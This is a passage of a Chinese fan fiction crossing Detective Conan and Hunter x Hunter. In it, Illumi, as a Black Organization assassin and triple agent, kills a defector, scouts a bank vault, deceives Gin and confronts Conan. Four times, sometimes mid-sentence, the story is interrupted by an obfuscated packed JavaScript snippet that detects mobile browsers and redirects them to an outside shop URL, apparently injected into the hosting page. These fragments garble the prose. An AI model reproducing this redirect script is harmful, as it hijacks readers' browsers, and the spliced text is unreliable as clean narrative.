Gin沉默了很久。 Gin:你好像很了解叛徒的心理。 伊尔迷看着这条消息,眨了眨眼。 这句话也是在试探他吗? 他想了想,回了一句:只是推测。 Gin:嗯。 伊尔迷放下手机,闭上眼睛。 黑暗中,他听见小奇从猫窝里跳出来,跑到他的床边,跳上床,在他脚边缩成一团。 呼噜声轻轻的,有节奏。 他翻了个身。 明天晚上要处理沼渊。 得尽快。 12. 第 12 章 第二天晚上八点,伊尔迷到了米花町三丁目。 寿和公寓三楼左边第二个房间亮着灯。窗帘拉得很严实,看不见里面。楼下的信箱里塞着一份当天的晚报,说明沼渊白天出去过,但回来了。 伊尔迷站在对面的巷口,观察了一会儿。 街道很安静。住宅区的晚上就是这样:没什么人,偶尔有一辆车经过,远处有狗叫声。 他正准备走过去,忽然看见一个小小的身影从街角转出来。 柯南。 小孩穿着深蓝色的外套,背着一个书包,手里拿着一个小本子。他走到寿和公寓楼下,抬头看了一眼三楼亮着灯的房间,然后低头在本子上写了什么。 伊尔迷的脚步停住了。 这个小孩怎么会又在这里?怎么哪里都有他。 他想起沼渊的电脑浏览记录——连环杀人案的新闻。柯南在追查连环杀人案。沼渊在查连环杀人案的新闻。 两件事真的有关系? 他站在巷口,看着柯南收起本子,往公寓楼里走。 伊尔迷皱了一下眉。 如果柯南进去了,他就不能动手。被一个侦探看见自己在杀人现场,即使是七岁的侦探,也不是一件好事。 他给Gin发了一条消息:有情况。有人进了沼渊的楼。 Gin:谁? 伊尔迷思索了片刻,并没有选择再次在Gin面前提到柯南:一个陌生人,好像在查东西。 Gin:他在查什么? 伊尔迷:连环杀人案。沼渊也在查这个案子。 Gin:沼渊查连环杀人案?为什么? 伊尔迷:不知道。可能跟他叛逃的原因有关。 Gin沉默了一会儿。 Gin:等那个人走了再动手。 伊尔迷:好。 他收起手机,继续观察。 十分钟后,柯南从楼里出来了。他的表情很严肃,小本子上写满了字。出来之后没有离开,而是站在楼下,抬头看着三楼亮着灯的房间。 伊尔迷注意到他的嘴唇在动,像是在自言自语。 然后柯南掏出手机,打了一个电话。 伊尔迷听不清他在说什么,但从他的表情来看,应该是打给警方的。 麻烦了。 如果警方来了,沼渊就会被带走。被警方带走的叛徒,比被组织杀死的叛徒更麻烦——因为警方会从他嘴里撬出组织的情报。 他给Gin发消息:有人在打电话,可能是报警。 Gin:动手。现在。 伊尔迷:那人还在楼下。 Gin:别管。先处理沼渊。 伊尔迷犹豫了一秒。 在揍敌客,任务永远第一。不管周围有什么人,不管会发生什么后果,任务必须完成。这是席巴教他的第一条规矩。 但现在这里不是揍敌客。 伊尔迷看着柯南。小孩打完电话,没有离开,而是走到公寓对面的便利店门口,站在那里等。 他在等警察来。 伊尔迷看了一眼时间。 两分钟。 如果两分钟内警察没来,他就动手。不管柯南在不在楼下。 一分钟过去了。 一分钟半。 两分钟。 没有警车的声音。 伊尔迷从巷口走出来,开始往公寓楼走。 经过便利店的时候,柯南看见了他。 “大哥哥!”柯南跑过来,“你怎么在这里?” “办事。”伊尔迷说,“你呢?” “我在查案!”柯南举起手里的小本子,“这栋楼里住着一个可能跟连环杀人案有关的人!” 伊尔迷看了他一眼。 “是吗?” “嗯!我刚刚上去跟他聊了几句,他的反应很奇怪,很紧张,说话也支支吾吾的。我觉得他一定知道些什么!” 伊尔迷点点头。 “那你继续查。我先走了。” “大哥哥不是来办事的吗?” “办完了。” 柯南愣了一下:“这么快?” 伊尔迷没有回答,继续往前走。 他走到公寓楼的侧门,确认柯南没有跟过来,然后从消防通道上楼。 三楼。左边第二个房间。 门是关着的,但锁很旧,他用工具三秒就打开了。 推门进去的时候,沼渊正坐在桌前,面前摊着一张地图。他看见伊尔迷,脸色瞬间变白。 “你、你是——” “Gin让我来的。” 沼渊猛地站起来,椅子翻倒在地。他想往窗户跑,但伊尔迷比他快。 三秒。 沼渊倒在床上,姿势安详。 伊尔迷看了一眼桌上的地图。地图上标了几个地方,都在米花町——图书馆、公园、便利店、邮局、银行、学校、医院。每个地方旁边都写了日期和人名。 人名他不认识,但日期很有意思——都是连环杀人案发生的日期。 沼渊在追查连环杀人案? 一个组织的叛徒,在叛逃之前,在追查连环杀人案? 他拍了张照片,发给Gin。 Gin:他在地图上标什么? 伊尔迷:不知道。看起来像是在找什么东西。 Gin:把地图带回来。 伊尔迷:好。 他把地图折好放进口袋,最后看了一眼沼渊。 床上的男人闭着眼睛,呼吸平稳,像是在睡觉。他的双手自然垂在身体两侧,没有交叉,没有祈祷。 伊尔迷想了想,没有摆弄他的姿势。 这样或许可以,更加混淆众人的视线。 想到这,伊尔迷转身离开房间,关上门。 走到楼下的时候,他听见警笛声。 两辆警车停在公寓门口,几个警察从车里下来。佐藤也在其中,穿着一件风衣,表情严肃。 柯南从便利店跑过来,拉着佐藤的手说:“佐藤警官!三楼左边第二个房间!那个人很可疑!” 佐藤点点头,带着警察往楼里走。 经过伊尔迷身边的时候,她看了他一眼。 两个人的目光在空中交汇了不到一秒。 伊尔迷面无表情地继续往前走。 佐藤的脚步顿了一下,但没有停下来。 伊尔迷走出巷口,拐进另一条街。 他再次不紧不慢地从口袋里摸出一颗牛奶糖,剥开吃掉。甜品店的女店员上次随蛋糕附送了他一大袋,现在这个糖已经成为了他必要的甜味补充剂。 甜。 手机震了一下。 是佐藤的消息:你在寿和公寓附近? 伊尔迷:路过。 佐藤:你路过的地方是不是太多了? 伊尔迷想了想,回了一句:可能是我运气不好。 佐藤:沼渊己一郎死了。你知道这个人吗? 伊尔迷:不知道。 佐藤:你确定?他死状很安详,没有外伤,也没有挣扎的痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387957|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹。法医初步判断是心脏骤停。 伊尔迷:哦。 佐藤:你不觉得很巧吗?你路过,他就死了。 伊尔迷:你是怀疑我? 佐藤沉默了一会儿。 佐藤:不是怀疑你。是担心你。 伊尔迷看着这条消息,眨了眨眼。 担心他?不会吧。 他想了想,回了一个“嗯”。 佐藤:你最近小心点。组织在查内鬼,你又是双重身份,很容易被怀疑。 伊尔迷:我知道。 佐藤:知道就好。 伊尔迷把手机收起来,继续往公寓走。 回到公寓,小奇正在吃猫粮。看见他回来,抬头叫了一声,然后继续埋头吃。 伊尔迷换了拖鞋,坐到沙发上,把地图从口袋里拿出来。 他展开地图,仔细看了一遍。 沼渊标了七个地方,都在米花町。每个地方旁边都写了日期和人名。 日期都是连环杀人案发生的日期。 他拿出手机,搜了一下连环杀人案的新闻。 四名受害者,都是中年男性,死状都是双手交叉放在胸前,像是在祈祷。警方没有公布更多细节,但新闻报道里提到,所有受害者都在同一家银行开过户。 伊尔迷放下手机。 沼渊的地图上标了银行。米花町分行。 他想起几天前Gin在安全屋里说的话——“组织在那家银行有账户。” 所以沼渊不是在追查连环杀人案。他是在追查组织的资金流向。 他查到了什么,所以跑了。 伊尔迷歪了歪头。 有意思。 他把地图折好,放进抽屉里。 手机响了。 是Gin的消息:地图看了吗? 伊尔迷:看了。他在追查连环杀人案。 Gin:连环杀人案跟组织无关。他在查什么? 伊尔迷:可能是在查组织的资金。受害者都在同一家银行开过户,那家银行有组织的账户。 Gin沉默了很久。 Gin:你比我想象的聪明。 伊尔迷:谢谢。 Gin:明天来一趟安全屋。有新的任务。 伊尔迷:好。 他放下手机,躺到沙发上。 小奇吃完猫粮,跳上沙发,趴在他的肚子上。 他摸了摸小奇的头。 呼噜声轻轻的,有节奏。 他闭上眼睛,回想今天的事。 柯南在追查连环杀人案。沼渊在追查组织的资金。两条线在米花町银行交汇。 如果柯南继续查下去,他会发现那家银行和组织的联系。 那伊尔迷的任务就可能受到影响。 他睁开眼睛。 也许他应该提醒一下Gin,让组织把那家银行的账户处理掉。 但他想了想,又觉得没必要。 那是Gin的事。他的任务是处理叛徒,不是处理银行账户。 而且,如果柯南真的查到了什么,对伊尔迷来说也不一定是坏事。 FBI那边可能会给更高的情报费。 他翻了个身。 算了,先睡觉。 明天还要去安全屋。 小奇在他肚子上翻了个身,露出圆滚滚的肚皮。 他摸了摸小奇的肚子,软软的,暖暖的。 窗外,警笛声渐渐远去。 米花町的夜,又恢复了表面的平静。 13. 第 13 章 安全屋里的气氛和上次不太一样。 伊尔迷进门的时候就察觉到了:咖啡还是两杯,温度刚好,但Gin没有坐在沙发上等他。他站在窗边,背对着门,银发在午后的光线里显得有些刺眼。 “来了?”Gin没有回头。 “嗯。” “关门。” 伊尔迷关上门,走到沙发前坐下。他端起咖啡喝了一口:浓度和上次一样,Gin总不会记得他的口味,应该只是恰好Gin也喜欢罢了。 此时,Gin转过身来,手里拿着一个牛皮纸袋。他把纸袋放在茶几上,坐到伊尔迷对面。 “沼渊的事,你处理得很好。” 伊尔迷等他说“但是”。 果然。 “但是,”Gin把纸袋推过来,“你带回来的地图,我让人查过了。沼渊标记的那些日期,确实是连环杀人案的案发日。但他标记的地点不全是案发现场。” 伊尔迷打开纸袋,里面是一叠照片和文件。 “他标记了银行。”伊尔迷说。 “对。”Gin的语气没什么变化,“米花町分行。组织在那里有两个账户,一个是资金中转,一个是备用。” 伊尔迷翻看着照片。都是银行的内部照片:金库的门、监控室、几个职员的正面照。最后一页是一张手绘的结构图,标注了每一层的安保位置和巡逻路线。 “你要我去查这个银行?” “不是查。”Gin说,“是处理。把组织在那里的痕迹清理干净。” 伊尔迷看着那张结构图,沉默了一会儿。 “如果连环杀人案真的和组织无关,为什么要急着清理?” Gin没有立刻回答。 他端起咖啡,喝了一口,然后放下杯子。动作很慢,像是在斟酌措辞。 “因为有人用这件事在做文章。”Gin说,“连环杀人案的受害者都在那家银行开过户,媒体已经开始关注这条线索了。如果继续查下去,迟早会查到组织的账户。” “所以你怀疑连环杀人案是有人故意设计的?目的是把组织的资金链暴露出来?” Gin看了他一眼。 “你总是想得比别人多。” 伊尔迷不知道这是夸奖还是批评。 “这是好事还是坏事?” Gin没有回答这个问题。 “银行的结构图在这里,安保人员的名单和排班表在背面。”他指了指纸袋,“你有三天时间。三天之后,那家银行里不能有任何和组织的关联。” “包括人?” Gin的手指在沙发扶手上敲了一下。 “包括人。” 伊尔迷点点头,把照片和文件装回纸袋里。 “还有一件事。”Gin在他站起来之前说。 伊尔迷重新坐下。 “沼渊的事,组织里有人在传一些闲话。” “什么闲话?” “说你动手太快了,没给他留活口的机会。有人说你是故意的。” 伊尔迷歪了歪头。 “他们觉得我应该留活口?” “他们觉得你应该先问出情报再动手。” “沼渊是叛徒。”伊尔迷说,“叛徒嘴里的话能信吗?” Gin看着他,嘴角似乎动了一下。 “你倒是想得清楚。” “这不是常识吗?” Gin没有接这句话。他从茶几下面拿出一个纸袋——和上次年终礼品的包装一样——推到伊尔迷面前。 “给你的。” 伊尔迷打开纸袋。里面是一个保温杯,深灰色的,金属质感,拿在手里很沉。 “咖啡凉了不好喝。”Gin说,语气很平淡,像是在说一件理所当然的事。 伊尔迷看着手里的保温杯,沉默了一秒。 “谢谢。” “嗯。” 他站起来,走到门口。拉开门的时候,他忽然停下来。 “Gin。” “嗯?” “那些传闲话的人,需要我处理吗?” 身后安静了两秒。 “不用。”Gin的声音从背后传来,听不出情绪,“我会处理。” 伊尔迷点点头,推门离开。他感受到了Gin的试探,这并不是什么好信号。 走出公寓楼的时候,他把保温杯从纸袋里拿出来,看了看。杯身上没有任何标志,干干净净的,和他公寓里的所有东西一样。 他把保温杯放进包里,等回到公寓,小奇正在发泄精力般的跑酷,从客厅跑到厨房,又从厨房跑回客厅,撞翻了垃圾桶,猫砂撒了一地。 伊尔迷站在门口看了一会儿。 “你,”他说,“是不是故意的?” 小奇停下来看向他,歪着的同时舔着爪子,表情很无辜。 伊尔迷放下包,在伸手不轻不重地打了下小奇的屁屁后,起身去拿扫帚。 打扫完卫生之后,他坐到沙发上,把Gin给的资料全部摊开。 银行的结构图很详细。正门、侧门、后门、消防通道、电梯、楼梯,每一个出入口都标得清清楚楚。安保人员一共十二人,三班倒,每班四人。金库在地下一层,有独立的安保系统,需要钥匙和密码同时使用才能打开。 组织的账户在金库里面。 伊尔迷盯着结构图看了一会儿。 三天时间。清理两个账户的痕迹,包括纸质文件和电子记录。同时还要确保不留下任何线索。 他拿出手机,给赤井发了一条消息:米花町分行,组织的账户,你知道多少? 赤井秒回:你查这个干什么? 伊尔迷:有人让我清理。 赤井:有人?Gin? 伊尔迷没有回复。 赤井:你打算怎么做? 伊尔迷:还没想好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387958|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赤井:我建议你别碰金库。那里的安保系统联网的,只要触发警报,警方三分钟之内就到。 伊尔迷看着这条消息,想了想。 伊尔迷:如果警报不响呢? 赤井:你觉得你能让警报不响? 伊尔迷:有可能。 赤井发了一长串省略号。 赤井:你知道你现在说的话有多危险吗? 伊尔迷:什么意思? 赤井:意思是你已经开始像一个真正的组织成员了。 伊尔迷看着这条消息,沉默了一会儿。 他想了想自己刚才说的话:让警报不响。对他来说,这只是一个技术问题。在揍敌客,让安保系统失效是基本操作。 但赤井说得对。 他确实越来越像一个真正的组织成员了。 就在这时,小奇跳上沙发,趴在他腿上,依旧暖洋洋的。 他摸了摸小奇的头。 “我只是在完成工作。”他对赤井说,也对小奇说,也对自己说。 手机又响了。 这次是佐藤的消息:米花町分行的案子,你有线索吗? 伊尔迷看着这条消息,手指悬在屏幕上方。 佐藤在查连环杀人案。连环杀人案和银行有关。银行和组织有关。Gin让他去清理组织的痕迹。 如果他告诉佐藤银行的事,警方就会提前介入,组织的清理任务就会变得困难。但如果不告诉佐藤,他就是在帮组织掩盖线索。 他想了想,回了一条:银行的金库,你们查过吗? 佐藤:查过。没有发现异常。 伊尔迷:金库的电子记录呢? 佐藤:也查了。很正常。 伊尔迷:有没有可能记录被改过? 佐藤沉默了一会儿。 佐藤:你在暗示什么? 伊尔迷:没有暗示。只是觉得,如果连环杀人案真的和银行有关,凶手不可能不留下痕迹。 佐藤:你是说凶手可能改了银行的记录? 伊尔迷:有可能。 佐藤:这个方向我们没想过…我明天再去银行查一次! 伊尔迷:嗯。 他放下手机,闭上眼睛。 小奇在他腿上翻了个身,呼噜声轻轻的。 他刚才做了一件很危险的事。 他给佐藤的线索,正好是Gin让他去清理的部分。如果佐藤提前查到什么,Gin的任务就会失败。但如果佐藤查不到什么,他就可以在清理的时候顺便确认一下——银行的记录到底有没有被动过手脚。 他是在帮红方,还是在帮黑方? 他想了想,觉得都不是。 他只是在让信息流动起来。 真话不等于全部真相。 这个道理,他在揍敌客的时候就懂了。 他睁开眼睛,拿起桌上的结构图,开始规划三天的行动方案。 14. 第 14 章 第二天,伊尔迷去银行踩点。 米花町分行坐落在米花町中心,是一栋五层的独栋建筑,外墙是米黄色的瓷砖,看起来很新。门口有两个ATM机,大堂里有两个柜台,三个窗口。 他选在上午十点进去——这个时间点人最多,柜台前排着长队,大堂里来来往往的人让他很容易混在人群里。 他填了一张开户申请表,排了二十分钟的队,在一个年轻的男职员面前坐下。 “您好,请问您要办理什么业务?” “开一个储蓄账户。” “好的,请出示您的身份证明。” 伊尔迷把准备好的证件递过去。原主的身份信息,真实有效,没有任何问题。 男职员低头录入信息,偶尔抬头看他一眼。每次抬头,对面的目光都会在他脸上多停一秒。 “请问您是住在附近吗?” “嗯。” “好的…”男职员的脸微微红了一下,“那您的住址是?” 伊尔迷报了公寓的地址。男职员的录入速度明显变慢了,不知道是因为在仔细核对,还是因为别的什么原因。 “您的手机号码是?” 伊尔迷报了手机号。 男职员把证件和一张表格递还给他。“请在这里签字。” 他签字的时候,男职员忽然说:“那个,您有没有兴趣了解一下我们的理财产品?最近有一款新的,收益很不错…” “不用。” “哦…好的。”男职员的声音有点失望。 整个开户过程用了十五分钟。在这十五分钟里,伊尔迷观察了大堂的布局——两个监控摄像头,一个对着正门,一个对着柜台。保安在大堂里来回走动,每十分钟绕一圈。柜台的电脑是老式的台式机,主机放在桌子下面,USB接口在侧面。 金库的入口在大堂最里面,一扇厚重的金属门,旁边有一个刷卡器和密码键盘。门口站着一个保安,腰间别着对讲机。 伊尔迷拿着新开的银行卡走出银行,然后他绕到银行侧面,看了一眼后门。后门通向一条小巷,巷口有一个监控,但角度只能拍到巷口,拍不到门本身。门是普通的铁门,锁是老式的弹子锁。 他又绕到银行后面。后面是一个小停车场,停着几辆员工的车。停车场没有监控,但有一道铁栅栏围着,栅栏上面有铁丝网。 他掏出手机,把观察到的信息记在备忘录里。 回到公寓,伊尔迷把第一天的踩点结果整理成一份简图。 正门:两个监控,一个保安巡逻。侧门:没有监控,锁是弹子锁。后门:巷口有监控,门锁也是弹子锁。金库入口:一个保安,刷卡器,密码键盘。电脑:老式台式机,USB接口在侧面。 他盯着简图看了一会儿。 金库是最大的难点。需要钥匙和密码同时使用,而且有保安守着。就算他搞定了保安,钥匙和密码的问题也解决不了。 他拿出Gin给的资料,翻到最后一页。那一页上写着一行小字:“钥匙和密码的保管人:行长。钥匙随身携带,密码只有他一个人知道。” 所以,要想进金库,必须先搞定行长。 伊尔迷歪了歪头。 他给Gin发了一条消息:行长的信息,你有吗? Gin秒回:有。发你。 一分钟后,伊尔迷收到了行长的详细资料。 行长名叫田中一郎,五十七岁,在这家银行工作了三十年。已婚,有两个孩子,都已经成年。住在米花町四丁目的一栋独栋住宅里。爱好是钓鱼和高尔夫,每周三晚上会去银座的酒吧喝酒。 伊尔迷看着那份资料,心里有了一个计划。 第二天晚上,他去了银座。 田中去的那家酒吧叫“Blue Moon”,在银座的一条小巷里,门面很小,但里面很精致。伊尔迷在酒吧对面的咖啡厅里坐着,点了一杯拿铁和一块提拉米苏,等田中出現。 九点整,田中来了。 他穿着一件灰色西装,头发花白,体型微胖。进门之前左右看了一眼,然后推门进去。 伊尔迷等他进去之后,起身走到酒吧门口,记下了位置。 然后他回到咖啡厅,继续吃提拉米苏。 九点半,一个年轻的女人也走进了那家酒吧。穿着红色连衣裙,高跟鞋,化着浓妆。 伊尔迷看了一眼她的脸:和Gin发来的资料里的一张照片对上了。这个女人是田中的情妇,每周三都会来陪他喝酒。 他掏出手机,给Gin发了一条消息:行长在酒吧。身边有女人。 Gin:别在公共场合动手。等人少的地方。 伊尔迷:我知道。 他把手机收起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387959|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续吃蛋糕。 十一点,田中从酒吧里出来了。他喝了不少,走路有点晃,身边的女人扶着他。 两人沿着小巷往外走,走到一辆黑色轿车前面。女人打开车门,把田中扶进副驾驶座,然后自己绕到驾驶座。 伊尔迷站在巷口,看着那辆车驶出停车场,汇入车流。 他没有跟上去。 他记下了车牌号,然后给Gin发消息。 伊尔迷:车牌号是品川330 は 32-14。田中喝醉了,应该是情妇送他回家。 Gin:明天再动手。别急。 伊尔迷:好。 他收起手机,站在银座的街头,他忽然想起一件事。 他今天出门的时候,小奇正在呼呼大睡。走之前他给小奇倒了猫粮,但忘了关厨房的门。 希望回去的时候厨房还在。 他加快脚步往公寓走。 回到公寓,厨房还在。但冰箱门开着,地上有一滩牛奶,小奇正趴在冰箱前面舔牛奶。 伊尔迷站在厨房门口,沉默了五秒。 “小奇。” 小奇抬起头,看了他一眼,继续舔。 伊尔迷叹了口气,去拿拖把。 打扫完厨房之后,他坐到沙发上,小奇停止了打滚,很快跳上沙发,趴在他身边。 他闭上眼睛。 明天要处理行长的事。 钥匙和密码。金库。电子记录。 三天时间,已经过去一天了。 他翻了个身。 手机亮了。 是Gin的消息:明天晚上之前搞定。拖越久越危险。 伊尔迷:好。 Gin:有需要随时联系我。 伊尔迷看着这条消息,犹豫了一秒。 伊尔迷:如果我需要支援呢? Gin沉默了一会儿。 Gin:你需要支援? 伊尔迷:不确定。先问问。 Gin:什么类型的支援? 伊尔迷:如果有人发现我在银行里,需要有人在外面接应。 Gin:伏特加。我让他去。 伊尔迷:好。 他放下手机,闭上眼睛。 小奇把爪子搭在他的手上,暖暖的,软软的。 他摸着小奇的爪子,慢慢睡着了。 15.第 15 章 第三天晚上,伊尔迷到了银行后门。 时间是晚上十一点。银行早就关门了,周围很安静,只有远处偶尔传来车声。后巷里没有灯,只有巷口那个监控的红色指示灯在一闪一闪的。 他站在巷口,先处理了监控。方法很简单——他从口袋里掏出一颗牛奶糖,剥开,把糖纸揉成一团,瞄准监控的镜头扔过去。 糖纸准确地贴在镜头上,挡住了画面。 然后他走到后门前,掏出工具,三秒打开锁。 推门进去的时候,他给伏特加发了一条消息:我进去了。外面有什么情况告诉我。 伏特加秒回:收到。外面一切正常。 伊尔迷把手机调成静音,沿着消防通道往地下一层走。 银行内部很暗,只有应急灯亮着,发出昏黄的光。他的脚步声在走廊里回响,每一步都像是有人在跟着他。 他走到金库门口的时候,停了下来。 保安不在。 按照Gin给的排班表,这个时间应该有保安在这里守着。但现在,那个位置是空的。 伊尔迷皱了一下眉。 他侧耳听了一下周围的声音。没有呼吸声,没有脚步声,什么都没有。 保安去了哪里? 他掏出手机,给伏特加发消息:金库门口的保安不在。你那边看到什么异常吗? 伏特加:没有。周围很安静。会不会是去上厕所了? 伊尔迷:可能。 他等了三分钟。 保安没有回来。 他又等了五分钟。 还是没有。 伊尔迷觉得不对。一个训练有素的保安,不会在值班的时候离开岗位这么久。除非—— 他听到身后传来一个细微的声音。 脚步声。 很轻,很小心,但伊尔迷的耳朵捕捉到了。 他没有回头。 “大哥哥?” 一个稚嫩的声音从身后传来。 伊尔迷转过身。 柯南站在走廊的另一端,手里拿着一个小手电筒,镜片反着光。 两个人的目光在昏黄的应急灯下相遇。 “你怎么在这里?”伊尔迷问。语气很平静,像是在问“你今天吃饭了吗”。 柯南似乎也被他的平静震住了。他愣了一下,然后说:“我在查案。连环杀人案的线索指向这家银行,所以我——” “晚上十一点,一个七岁的小孩,一个人在银行里查案?” 柯南的笑容僵了一瞬。 “我、我是和警察一起来的!他们去别的地方了,我...” “你在撒谎。”伊尔迷说,语气还是那么平静,“你的手电筒是民用手电,不是警用的。你的鞋子上没有泥,说明你不是从外面进来的,你是一直躲在银行里等关门。你的...” “够了!”柯南打断他,声音不再稚嫩,而是变成了一个少年的声音,“你到底是谁?” 伊尔迷看着他。 “你又是谁?”他反问。 柯南沉默了。 走廊里很安静。应急灯发出嗡嗡的声音,像是某种昆虫的鸣叫。 “工藤新一。”伊尔迷说。 柯南的瞳孔猛地收缩。 “你...!” “十七岁的高中生侦探,被组织灌了药,变小了。”伊尔迷说,“你的父亲是工藤优作,母亲是工藤有希子。你现在住在阿笠博士家,每天和一群小学生一起上学。” 柯南的脸色变得苍白。 “你怎么知道这些?” 伊尔迷没有回答。 他从口袋里摸出一颗棒棒糖,剥开,放进嘴里,冷静地却看起来有点像在抽烟。 “你也在查组织。”伊尔迷不紧不慢地说:“不只是连环杀人案,你在查组织。” 柯南没有说话,但他的手悄悄伸向口袋。 伊尔迷看见了那个动作。他知道柯南的口袋里有一个麻醉枪手表,是阿笠博士给他做的。 “我不会伤害你。”伊尔迷说。 柯南的手停住了。 “如果你要伤害我,你早就动手了。”柯南说,声音恢复了镇定,“你从第一次见面就知道我是谁,对不对?” 伊尔迷没有否认。 “那你到底是谁?”柯南又问了一遍。 “商业咨询。”伊尔迷说。 柯南的表情很复杂。他显然不相信这个答案,但他也知道,在这个人面前,他什么都问不出来。 “你在银行里干什么?”柯南换了个问题。 伊尔迷看了一眼金库的门。 “和你一样。”他说,“查案。” “你查什么案?” “连环杀人案。” 柯南盯着他看了几秒。 “你不像是在查连环杀人案。”他说,“你像是在做别的事。” 伊尔迷歪了歪头:“你很聪明。” “谢谢。” “但是,”伊尔迷说,“你现在应该离开这里。” “为什么?” “因为保安随时会回来。一个七岁的小孩,晚上十一点,一个人在银行里,被保安发现了会很麻烦。” 柯南没有动。 “你先走。”他说。 伊尔迷看着他,忽然觉得这个小孩很有意思。明明只有七岁,不对,十七岁的身体,却有一种成年人都没有的倔强。 “好。”伊尔迷说。 他转身往消防通道走。 走了几步,他忽然停下来。 “工藤。” “什么?” “连环杀人案的事,别查了。” 柯南皱起眉。“为什么?” “因为那不是你能处理的事。” “你觉得我处理不了?” 伊尔迷回头看了他一眼。 那个眼神很淡,淡到看不出任何情绪。但柯南在那一瞬间忽然明白了一件事——这个人的眼睛,和那些他见过的罪犯不一样。罪犯的眼睛里要么有恐惧,要么有疯狂,要么有麻木。但这个人的眼睛里什么都没有。 什么都没有,比任何东西都可怕。 “小心点。”伊尔迷说。 然后他消失在消防通道里。 柯南站在原地,手电筒的光照在空荡荡的走廊上。 他听见消防通道的门关上的声音,然后是脚步声,越来越远,最后消失在夜色里。 他掏出手机,给工藤优作发了一条消息:爸,那个人到底是谁? 工藤优作秒回:谁? 柯南:就是你说的那个做商业咨询的朋友。 工藤优作沉默了一会儿。 工藤优作:你为什么问他? 柯南:我在银行里遇到他了。晚上十一点。 工藤优作发了一长串省略号。 工藤优作:他有没有伤害你? 柯南:没有。他让我小心点。 工藤优作:那你听他的。 柯南:爸,你还没回答我的问题。他到底是谁? 工藤优作沉默了很长时间。 工藤优作:一个你不能惹的人。 柯南看着这条消息,皱起了眉。 伊尔迷从银行后门出来的时候,伏特加正站在巷口等他。 “怎么样?”伏特加问。 “有人捷足先登了。”伊尔迷说。 “什么?谁?” “那个小孩。侦探。” 伏特加的脸色变了。“他看到了什么?” “不知道。但他已经在查连环杀人案了,迟早会查到银行的事。” 伏特加掏出手机。“我得告诉Gin。” “等一下。”伊尔迷说,“先别告诉他。” “为什么?” “因为那个小孩看到我了。如果Gin知道我在现场被一个小孩看到了,他会怎么想?” 伏特加犹豫了一下。“你是说…” “我什么都没说。”伊尔迷转了转棒棒糖的棒子,似乎有些无聊:“我只是觉得,有些事没必要让Gin知道。” 伏特加看着他,眼神复杂。 “你这是在帮他隐瞒?” “我是在帮自己。”伊尔迷说,“你也是。” 伏特加沉默了一会儿,把手机收起来。 “今晚的事,我没看到。”他说。 “嗯。” 伊尔迷转身往公寓走。 走了几步,他忽然停下来。 “伏特加。” “嗯?” “谢谢。” 伏特加愣了一下,然后笑了。“不客气。” 回到公寓,伊尔迷没有开灯。 他坐在沙发上,在黑暗中发呆。 小奇睡着了,缩在猫窝里,呼吸平稳。 他掏出手机,看了一眼银行余额。Gin发的任务奖金已经到了。佐藤的线人费也到了。FBI的情报费也到了。 三份收入,三倍快乐。 但他现在一点都不快乐。 柯南在银行里看到了他。虽然小孩不知道他是谁,但以工藤新一的智商,迟早会查出来。而且他今天说了太多话:“工藤新一”“被组织灌了药”“变小了”——每一句都是致命的。 如果柯南把这些信息告诉别人,他的身份就暴露了。 如果Gin知道了他在帮FBI的话。 伊尔迷闭上眼睛。 他需要想一个对策。 手机亮了。 是Gin的消息:银行的事搞定了吗? 伊尔迷看着这条消息,犹豫了三秒。 伊尔迷:搞定了。痕迹清理干净了。 Gin:有没有遇到什么问题? 伊尔迷:没有。 他发完这条消息,盯着屏幕看了很久。 这是他在这个世界第一次对Gin撒谎。 不是选择性说实话。是真正的、完全的撒谎。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392259|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他放下手机,从口袋里摸出最后一颗牛奶糖,剥开吃掉。 糖在嘴里化开,很甜。 但他觉得嘴里发苦。 小奇醒了,从猫窝里跳出来,爬上沙发,趴在他的腿上。 他摸了摸小奇的头。 呼噜声轻轻的,有节奏。 “小奇,”他说,“我好像做了一件很危险的事。” 小奇叫了一声,翻了个身,露出圆滚滚的肚皮。 伊尔迷看着小奇的肚皮,沉默了很久。 他并没有感到害怕,但心里总是不平静。 